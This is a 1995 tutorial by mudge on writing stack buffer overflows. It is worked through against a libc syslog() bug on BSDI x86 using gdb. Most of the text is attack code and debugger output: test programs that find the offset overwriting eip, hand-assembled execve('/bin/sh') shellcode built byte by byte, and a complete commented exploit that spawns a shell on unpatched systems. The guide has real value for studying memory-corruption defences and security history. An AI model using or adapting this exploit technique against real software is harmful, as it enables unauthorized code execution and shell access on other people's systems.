How to Write Buffer Overflows
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This is really rough, and some of it is not needed. I wrote this as
a reminder note to myself as I really didn't want to look at any more
AT&T assembly again for a while and was afraid I would forget what
I had done. If you are an old assembly guru then you might scoff at
some of this... oh well, it works and that's a hack in itself.
-by mudge@l0pht.com 10/20/95
test out the program (duh).
--------syslog_test_1.c------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<=4028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } --------end syslog_test_1.c----------
Compile the program and run it. Make sure you include the symbol
table for the debugger or not... depending upon how macho you feel today.
bash$ gcc -g buf.c -o buf
bash$ buf
Segmentation fault (core dumped)
The 'Segmentation fault (core dumped)' is what we wanted to see. This
tells us there is definately an attempt to access some memory address
that we shouldn't. If you do much in 'C' with pointers on a unix machine
you have probably seen this (or Bus error) when pointing or dereferencing
incorrectly.
Fire up gdb on the program (with or without the core file). Assuming you
remove the core file (this way you can learn a bit about gdb), the
steps would be as follows:
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 11, Segmentation fault
0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
Ok, this is good. The 41's you see are the hex equivallent for the ascii
character 'A'. We are definately going places where we shouldn't be.
(gdb) info all-registers
eax 0xefbfd641 -272640447
ecx 0x00000000 0
edx 0xefbfd67c -272640388
ebx 0xefbfe000 -272637952
esp 0xefbfd238 0xefbfd238
ebp 0xefbfde68 0xefbfde68
esi 0xefbfd684 -272640380
edi 0x0000cce8 52456
eip 0x00001273 0x1273
ps 0x00010212 66066
cs 0x0000001f 31
ss 0x00000027 39
ds 0x00000027 39
es 0x00000027 39
fs 0x00000027 39
gs 0x00000027 39
The gdb command 'info all-registers' shows the values in the current
hardware registers. The one we are really interested in is 'eip'. On
some platforms this will be called 'ip' or 'pc'. It is the Instruction
Pointer [also called Program Counter]. It points to the memory location
of the next instruction the processor will execute. By overwriting
this you can point to the beginning of your own code and the
processor will merrily start executing it assuming you have it written
as native opcodes and operands.
In the above we haven't gotten exactly where we need to be yet. If you want
to see where it crashed out do the following:
(gdb) disassemble 0x1273
[stuff deleted]
0x1267 : incl 0xfffff3dc(%ebp)
0x126d : testb %al,%al
0x126f : jne 0x125c
0x1271 : jmp 0x1276
0x1273 : movb %al,(%ebx)
0x1275 : incl %ebx
0x1276 : incl %edi
0x1277 : movb (%edi),%al
0x1279 : testb %al,%al
If you are familiar with microsoft assembler this will be a bit backwards
to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax.
In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles
and on we go.
Note also that Intel assembler
let's go back and tweak the original source code some eh?
-------------syslog_test_2.c-------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2024; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -----------end syslog_test_2.c-------------
We're just shortening the length of 'A''s.
bash$ gcc -g buf.c -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 5, Trace/BPT trap
0x1001 in ?? (Error accessing memory address 0x41414149: Cannot
allocate memory.
This is the magic response we've been looking for.
(gdb) info all-registers
eax 0xffffffff -1
ecx 0x00000000 0
edx 0x00000008 8
ebx 0xefbfdeb4 -272638284
esp 0xefbfde70 0xefbfde70
ebp 0x41414141 0x41414141 <- here it is!!! esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x00001001 0x1001 ps 0x00000246 582 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39
Now we move it along until we figure out where eip lives in the overflow
(which is right after ebp in this arch architecture). With that known fact
we only have to add 4 more bytes to our buffer of 'A''s and we will
overwrite eip completely.
---------syslog_test_3.c----------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -------end syslog_test_3.c------------ bash$ !gc gcc -g buf.c -o buf bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x41414141 in errno (Error accessing memory address 0x41414149: Cannot allocate memory. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x41414141 0x41414141 ps 0x00010246 66118 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39
BINGO!!!
Here's where it starts to get interesting. Now that we know eip starts
at buffer[2024] and goes through buffer[2027] we can load it up with
whatever we need. The question is... what do we need?
We find this by looking at the contents of buffer[].
(gdb) disassemble buffer
[stuff deleted]
0xc738 : incl %ecx
0xc739 : incl %ecx
0xc73a : incl %ecx
0xc73b : incl %ecx
0xc73c : addb %al,(%eax)
0xc73e : addb %al,(%eax)
0xc740 : addb %al,(%eax)
[stuff deleted]
On the Intel x86 architecture [a pentium here but that doesn't matter]
incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0
hex. We will load up buffer[2024] to buffer[2027] with the address of
0xc73c where we will start our code. You have two options here, one is
to load the buffer up with the opcodes and operands and point the eip
back into the buffer; the other option is what we are going to be doing
which is to put the opcodes and operands after the eip and point to them.
The advantage to putting the code inside the buffer is that other than
the ebp and eip registers you don't clobber anything else. The disadvantage
is that you will need to do trickier coding (and actually write the
assembly yourself) so that there are no bytes that contain 0x0 which will
look like a null in the string. This will require you to know enough about
the native chip architecture and opcodes to do this [easy enough for some
people on Intel x86's but what happens when you run into an Alpha? -- lucky
for us there is a gdb for Alpha I think ;-)].
The advantage to putting the code after the eip is that you don't have to
worry about bytes containing 0x0 in them. This way you can write whatever
program you want to execute in 'C' and have gdb generate most of the
machine code for you. The disadvantage is that you are overwriting the
great unknown. In most cases the section you start to overwrite here
contains your environment variables and other whatnots.... upon
succesfully running your created code you might be dropped back into
a big void. Deal with it.
The safest instruction is NOP which is a benign no-operation.
This is what you will probably be loading the buffer up with as filler.
Ahhh but what if you don't know what the opcodes are for the particular
architecture you are on. No problem. gcc has a wonderfull function called
__asm__(char *); I rely upon this heavily for doing buffer overflows
on architectures that I don't have assembler books for.
------nop.c--------
void main(){
__asm__("nop\n");
}
----end nop.c------
bash$ gcc -g nop.c -o nop
bash$ gdb nop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 : pushl %ebp
0x1081 : movl %esp,%ebp
0x1083 : nop
0x1084 : leave
0x1085 : ret
0x1086 : addb %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 : 0x90
Since nop is at 0x1083 and the next instruction is at 0x1084 we know that
nop only takes up one byte. Examining that byte shows us that it is
0x90 (hex).
Our program now looks like this:
------ syslog_test_4.c---------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2024; i++) buffer[i]=0x90; i=2024; buffer[i++]=0x3c; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer); } ------end syslog_test_4.c-------
Notice you need to load the eip backwards ie 0000c73c is loaded into
the buffer as 3c c7 00 00.
Now the question we have is what is the code we insert from here on?
Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as
to why someone would want to do something like this, but I hear there
are a lot of nasty people out there. Oh well. Here's the proggie we
want to execute in C code:
------execute.c--------
#include
main()
{
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
----end execute.c-------
bash$ gcc -g execute.c -o execute
bash$ execute
$
Ok, the program works. Then again, if you couldn't whip up that
little prog you should probably throw in the towel here. Maybe become
a webmaster or something that requires little to no programming (or
brainwave activity period). Here's the gdb scoop:
bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10b8:
0x1088 : pushl %ebp
0x1089 : movl %esp,%ebp
0x108b : subl 0ドルx8,%esp
0x108e : movl 0ドルx1080,0xfffffff8(%ebp)
0x1095 : movl 0ドルx0,0xfffffffc(%ebp)
0x109c : pushl 0ドルx0
0x109e : leal 0xfffffff8(%ebp),%eax
0x10a1 : pushl %eax
0x10a2 : pushl 0ドルx1083
0x10a7 : call 0x10b8
0x10ac : leave
0x10ad : ret
0x10ae : addb %al,(%eax)
0x10b0 : jmp 0x1140
0x10b5 : addb %al,(%eax)
0x10b7 : addb %cl,0x3b05(%ebp)
End of assembler dump.
(gdb) disassemble execve
Dump of assembler code for function execve:
to 0x10c8:
0x10b8 : leal 0x3b,%eax
0x10be : lcall 0x7,0x0
0x10c5 : jb 0x10b0
0x10c7 : ret
End of assembler dump.
This is the assembly behind what our execute program does to run /bin/sh.
We use execve() as it is a system call and this is what we are going to
have our program execute (ie let the kernel service run it as opposed
to having to write it from scratch).
0x1083 contains the /bin/sh string and is the last thing pushed onto the
stack before the call to execve.
(gdb) x/10bc 0x1083
0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's'
104 'h' 0 '000円'
(0x1080 contains the arguments...which I haven't been able to really
clean up).
We will replace this address with the one where our string lives [when
we decide where that will be].
Here's the skeleton we will use from the execve disassembly:
[main]
0x108d : movl %esp,%ebp
0x108e : movl 0ドルx1083,0xfffffff8(%ebp)
0x1095 : movl 0ドルx0,0xfffffffc(%ebp)
0x109c : pushl 0ドルx0
0x109e : leal 0xfffffff8(%ebp),%eax
0x10a1 : pushl %eax
0x10a2 : pushl 0ドルx1080
[execve]
0x10b8 : leal 0x3b,%eax
0x10be : lcall 0x7,0x0
All you need to do from here is to build up a bit of an environment for
the program. Some of this stuff isn't necesary but I have it in still
as I haven't fine tuned this yet.
I clean up eax. I don't remember why I do this and it shouldn't
really be necesarry. Hell, better quit hitting the sauce.
I'll figure out if it is after I tune this up a bit.
We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto
the stack.
jmp 0x???? # this will jump to the call...
popl %esi
popl %ecx
The call back will be something like:
call 0x???? # this will point to the instruction after the jmp (ie
# popl %esi)
All put together it looks like this now:
----------------------------------------------------------------------
movl %esp,%ebp
xorl %eax,%eax
jmp 0x???? # we don't know where yet...
# -------------[main]
movl 0ドルx????,0xfffffff8(%ebp) # we don't know what the address will
# be yet.
movl 0ドルx0,0xfffffffc(%ebp)
pushl 0ドルx0
leal 0xfffffff8(%ebp),%eax
pushl %eax
pushl 0ドルx???? # we don't know what the address will
# be yet.
# ------------[execve]
leal 0x3b,%eax
lcall 0x7,0x0
call 0x???? # we don't know where yet...
----------------------------------------------------------------------
There are only a couple of more things that we need to add before we
fill in the addresses to a couple of the instructions.
Since we aren't actually calling execve with a 'call' anymore here, we need
to push the value in ecx onto the stack to simulate it.
# ------------[execve]
pushl %ecx
leal 0x3b,%eax
lcall 0x7,0x0
The only other thing is to not pass in the arguments to /bin/sh. We do
this by changing the ' leal 0xfffffff8(%ebp),%eax' to
' leal 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].
So the whole thing looks like this (without knowing the addresses for
the '/bin/sh0円' string):
movl %esp,%ebp
xorl %eax,%eax # we added this
jmp 0x???? # we added this
popl %esi # we added this
popl %ecx # we added this
movl 0ドルx????,0xfffffff5(%ebp)
movl 0ドルx0,0xfffffffc(%ebp)
pushl 0ドルx0
leal 0xfffffffc(%ebp),%eax # we changed this
pushl %eax
pushl 0ドルx????
leal 0x3b,%eax
pushl %ecx # we added this
lcall 0x7,0x0
call 0x???? # we added this
To figure out the bytes to load up our buffer with for the parts that
were already there run gdb on the execute program.
bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10bc:
0x108c : pushl %ebp
0x108d : movl %esp,%ebp
0x108f : subl 0ドルx8,%esp
0x1092 : movl 0ドルx1080,0xfffffff8(%ebp)
0x1099 : movl 0ドルx0,0xfffffffc(%ebp)
0x10a0 : pushl 0ドルx0
0x10a2 : leal 0xfffffff8(%ebp),%eax
0x10a5 : pushl %eax
0x10a6 : pushl 0ドルx1083
0x10ab : call 0x10bc
0x10b0 : leave
0x10b1 : ret
0x10b2 : addb %al,(%eax)
0x10b4 : jmp 0x1144
0x10b9 : addb %al,(%eax)
0x10bb : addb %cl,0x3b05(%ebp)
End of assembler dump.
[get out your scratch paper for this one... ]
0x108d : movl %esp,%ebp
this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
thus we can see the machine code with gdb like this.
(gdb) x/2bx 0x108d
0x108d : 0x89 0xe5
Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all
of the instructions that we are pulling out of the execute program.
You can figure out the basic structure for the call command by looking at
the one inexecute that calls execve. Of course you will eventually need
to put in the proper address.
When I work this out I break down the whole program so I can see what's
going on. Something like the following
0x108c : pushl %ebp
0x108d : movl %esp,%ebp
0x108f : subl 0ドルx8,%esp
(gdb) x/bx 0x108c
0x108c : 0x55
(gdb) x/bx 0x108d
0x108d : 0x89
(gdb) x/bx 0x108e
0x108e : 0xe5
(gdb) x/bx 0x108e
0x108f : 0x83
so we see the following from this:
0x55 pushl %ebp
0x89 movl %esp,%ebp
0xe5
0x83 subl 0ドルx8,%esp
etc. etc. etc.
For commands that you don't know the opcodes to you can find them out
for the particular chip you are on by writing little scratch programs.
----pop.c-------
void main() {
__asm__("popl %esi\n");
}
---end pop.c----
bash$ gcc -g pop.c -o pop
bash$ gdb pop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 : pushl %ebp
0x1081 : movl %esp,%ebp
0x1083 : popl %esi
0x1084 : leave
0x1085 : ret
0x1086 : addb %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 : 0x5e
So, 0x5e is popl %esi. You get the idea.
After you have gotten this far build the string up (put in bogus addresses
for the ones you don't know in the jmp's and call's... just so long
as we have the right amount of space being taken up by the jmp and
call instructions... likewise for the movl's where we will need to know
the memory location of 'sh0円0円/bin/sh0円'.
After you have built up the string, tack on the chars for sh0円0円/bin/sh0円.
Compile the program and load it into gdb. Before you run it in gdb
set a break point for the syslog call.
(gdb) break syslog
Breakpoint 1 at 0x1463
(gdb) run
Starting program: /usr2/home/syslog/buf
Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,
0xefbfdeac)
(gdb) disassemble 0xc73c 0xc77f
(we know it will start at 0xc73c since thats right after the
eip overflow... 0xc77f is just an educated guess as to where
it will end)
(gdb) disassemble 0xc73c 0xc77f
Dump of assembler code from 0xc73c to 0xc77f:
0xc73c : movl %esp,%ebp
0xc73e : xorl %eax,%eax
0xc740 : jmp 0xc76b
0xc742 : popl %esi
0xc743 : popl %ecx
0xc744 : movl 0ドルxc770,0xfffffff5(%ebp)
0xc74b : movl 0ドルx0,0xfffffffc(%ebp)
0xc752 : pushl 0ドルx0
0xc754 : leal 0xfffffffc(%ebp),%eax
0xc757 : pushl %eax
0xc758 : pushl 0ドルxc773
0xc75d : leal 0x3b,%eax
0xc763 : pushl %ecx
0xc764 : lcall 0x7,0x0
0xc76b : call 0xc742
0xc770 : jae 0xc7da
0xc772 : addb %ch,(%edi)
0xc774 : boundl 0x6e(%ecx),%ebp
0xc777 : das
0xc778 : jae 0xc7e2
0xc77a : addb %al,(%eax)
0xc77c : addb %al,(%eax)
0xc77e : addb %al,(%eax)
End of assembler dump.
Look for the last instruction in your code. In this case it was the 'call'
to right after the 'jmp' near the beginning. Our data should be right
after it and indeed we see that it is.
(gdb) x/13bc 0xc770
0xc770 : 115 's' 104 'h' 0 '000円' 47 '/'
98 'b' 105 'i' 110 'n' 47 '/'
0xc778 : 115 's' 104 'h' 0 '000円' 0 '000円' 0 '000円'
Now go back into your code and put the appropriate addresses in the movl
and pushl. At this point you should also be able to put in the appropriate
operands for the jmp and call. Congrats... you are done. Here's what
the output will look like when you run this on a system with the non
patched libc/syslog bug.
bash$ buf
$ exit (do whatever here... you spawned a shell!!!!!! yay!)
bash$
Here's my original program with lot's of comments:
/*****************************************************************/
/* For BSDI running on Intel architecture -mudge, 10/19/95 */
/* by following the above document you should be able to write */
/* buffer overflows for other OS's on other architectures now */
/* mudge@l0pht.com */
/* */
/* note: I haven't cleaned this up yet... it could be much nicer */
/*****************************************************************/
#include
char buffer[4028];
void main () {
int i;
for(i=0; i<2024; i++) buffer[i]=0x90; /* should set eip to 0xc73c */ buffer[2024]=0x3c; buffer[2025]=0xc7; buffer[2026]=0x00; buffer[2027]=0x00; i=2028; /* begin actuall program */ buffer[i++]=0x89; /* movl %esp, %ebp */ buffer[i++]=0xe5; buffer[i++]=0x33; /* xorl %eax,%eax */ buffer[i++]=0xc0; buffer[i++]=0xeb; /* jmp ahead */ buffer[i++]=0x29; buffer[i++]=0x5e; /* popl %esi */ buffer[i++]=0x59; /* popl %ecx */ buffer[i++]=0xc7; /* movl 0ドルxc770,0xfffffff8(%ebp) */ buffer[i++]=0x45; buffer[i++]=0xf5; buffer[i++]=0x70; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0xc7; /* movl 0ドルx0,0xfffffffc(%ebp) */ buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x6a; /* pushl 0ドルx0 */ buffer[i++]=0x00; #ifdef z_out buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */ buffer[i++]=0x45; buffer[i++]=0xf8; #endif /* the above is what the disassembly of execute does... but we only want to push /bin/sh to be executed... it looks like this leal puts into eax the address where the arguments are going to be passed. By pointing to 0xfffffffc(%ebp) we point to a null and don't care about the args... could probably just load up the first section movl 0ドルx0,0xfffffff8(%ebp) with a null and left this part the way it want's to be */ buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */ buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x50; /* pushl %eax */ buffer[i++]=0x68; /* pushl 0ドルxc773 */ buffer[i++]=0x73; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x8d; /* lea 0x3b,%eax */ buffer[i++]=0x05; buffer[i++]=0x3b; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x51; /* pushl %ecx */ buffer[i++]=0x9a; /* lcall 0x7,0x0 */ buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x07; buffer[i++]=0x00; buffer[i++]=0xe8; /* call back to ??? */ buffer[i++]=0xd2; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]='s'; buffer[i++]='h'; buffer[i++]=0x00; buffer[i++]='/'; buffer[i++]='b'; buffer[i++]='i'; buffer[i++]='n'; buffer[i++]='/'; buffer[i++]='s'; buffer[i++]='h'; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer); }
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